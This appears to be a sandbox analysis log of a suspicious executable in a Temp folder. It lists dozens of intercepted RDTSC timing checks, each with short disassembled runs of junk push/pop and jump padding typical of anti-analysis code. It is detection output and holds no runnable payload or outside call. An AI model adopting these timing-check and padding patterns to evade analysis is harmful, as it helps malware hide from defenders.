Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF42A6 second address: CF42DB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC9F53C6A76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FC9F53C6A9Fh 0x00000012 jns 00007FC9F53C6A7Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FC9F53C6A83h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF442A second address: CF4430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF476E second address: CF4772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF48B2 second address: CF48B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF48B6 second address: CF48BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF4A29 second address: CF4A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jp 00007FC9F53DFD56h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CF4A36 second address: CF4A3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFED08 second address: CFED24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD66h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFED24 second address: CFED52 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007FC9F53C6A76h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jmp 00007FC9F53C6A88h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C89F46 second address: C89F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C89F4A second address: C89F50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C89F50 second address: C89F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC9F53DFD62h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C89F6B second address: C89F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C89F71 second address: C89F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC9F53DFD56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C89F7B second address: C89F9B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FC9F53C6A81h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFDA63 second address: CFDA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFDA67 second address: CFDA7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jns 00007FC9F53C6A76h 0x0000000d jns 00007FC9F53C6A76h 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFDA7B second address: CFDA9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD69h 0x00000009 jne 00007FC9F53DFD56h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFDA9E second address: CFDACC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push edx 0x0000000e jp 00007FC9F53C6A76h 0x00000014 jmp 00007FC9F53C6A83h 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFDD67 second address: CFDD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFE2CA second address: CFE2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFE2D0 second address: CFE2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFE2D9 second address: CFE2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFE421 second address: CFE43D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FC9F53DFD56h 0x00000009 jnl 00007FC9F53DFD56h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FC9F53DFD56h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFE43D second address: CFE441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFE709 second address: CFE70F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFEB4E second address: CFEB52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFEB52 second address: CFEB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9F53DFD66h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CFEB74 second address: CFEB97 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC9F53C6A76h 0x00000008 jmp 00007FC9F53C6A84h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0346A second address: D0348F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FC9F53DFD67h 0x0000000a pop edx 0x0000000b jp 00007FC9F53DFD5Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC2D40 second address: CAAD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jnp 00007FC9F53C6A7Ch 0x0000000e mov dword ptr [ebp+122D2D89h], edi 0x00000014 call dword ptr [ebp+1245E68Ah] 0x0000001a push edi 0x0000001b jmp 00007FC9F53C6A80h 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC35C9 second address: CC35CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC3C94 second address: CC3C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC9F53C6A76h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC3C9E second address: CC3CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D02791 second address: D027A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A7Ch 0x00000009 jnl 00007FC9F53C6A76h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D027A7 second address: D027B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007FC9F53DFD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D02A45 second address: D02A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D02A49 second address: D02A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A5DB second address: D0A5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007FC9F53C6A76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A5E9 second address: D0A614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jng 00007FC9F53DFD56h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 jmp 00007FC9F53DFD67h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A8E0 second address: D0A8E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A8E4 second address: D0A8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D09FF5 second address: D0A009 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007FC9F53C6A76h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A009 second address: D0A034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD64h 0x00000009 jmp 00007FC9F53DFD63h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A034 second address: D0A061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 je 00007FC9F53C6A76h 0x0000001c push esi 0x0000001d pop esi 0x0000001e pop esi 0x0000001f jbe 00007FC9F53C6A78h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A061 second address: D0A069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0A069 second address: D0A06D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0AD29 second address: D0AD3E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC9F53DFD5Ch 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0B00C second address: D0B026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jng 00007FC9F53C6A7Ch 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D7E7 second address: D0D7EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D7EB second address: D0D7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D7F1 second address: D0D7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D7F7 second address: D0D7FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D7FC second address: D0D822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9F53DFD69h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D822 second address: D0D82E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FC9F53C6A76h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0D82E second address: D0D832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0FECC second address: D0FED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D0FED0 second address: D0FEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC9F53DFD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FC9F53DFD63h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D1000A second address: D10027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007FC9F53C6A84h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D14A19 second address: D14A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D14A1F second address: D14A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC9F53C6A80h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7FC76 second address: C7FC7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7FC7C second address: C7FC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7FC84 second address: C7FC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7FC8F second address: C7FC93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C7FC93 second address: C7FC99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D17619 second address: D17621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D17779 second address: D177B1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007FC9F53DFD56h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e jnp 00007FC9F53DFD56h 0x00000014 pop esi 0x00000015 push ecx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop ecx 0x00000019 pushad 0x0000001a jnl 00007FC9F53DFD56h 0x00000020 jmp 00007FC9F53DFD66h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D19555 second address: D19564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jnc 00007FC9F53C6A76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC3967 second address: CC396C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC396C second address: CC398D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC9F53C6A86h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC398D second address: CC3993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC3993 second address: CC39CD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC9F53C6A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov cx, ax 0x00000010 push 00000004h 0x00000012 mov cx, 0F8Bh 0x00000016 adc cx, 6231h 0x0000001b nop 0x0000001c jmp 00007FC9F53C6A84h 0x00000021 push eax 0x00000022 jc 00007FC9F53C6A7Eh 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D1DF17 second address: D1DF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D1DF1E second address: D1DF3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A88h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D274D4 second address: D2750B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FC9F53DFD5Ah 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC9F53DFD67h 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D25604 second address: D2560A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2560A second address: D2560E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2560E second address: D25612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D25E09 second address: D25E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D25E0D second address: D25E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FC9F53C6A76h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D25E1F second address: D25E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D260C7 second address: D260CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D260CB second address: D260FB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC9F53DFD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC9F53DFD62h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC9F53DFD5Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D260FB second address: D260FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D260FF second address: D2610B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007FC9F53DFD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2610B second address: D26125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A86h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D26125 second address: D26137 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC9F53DFD56h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
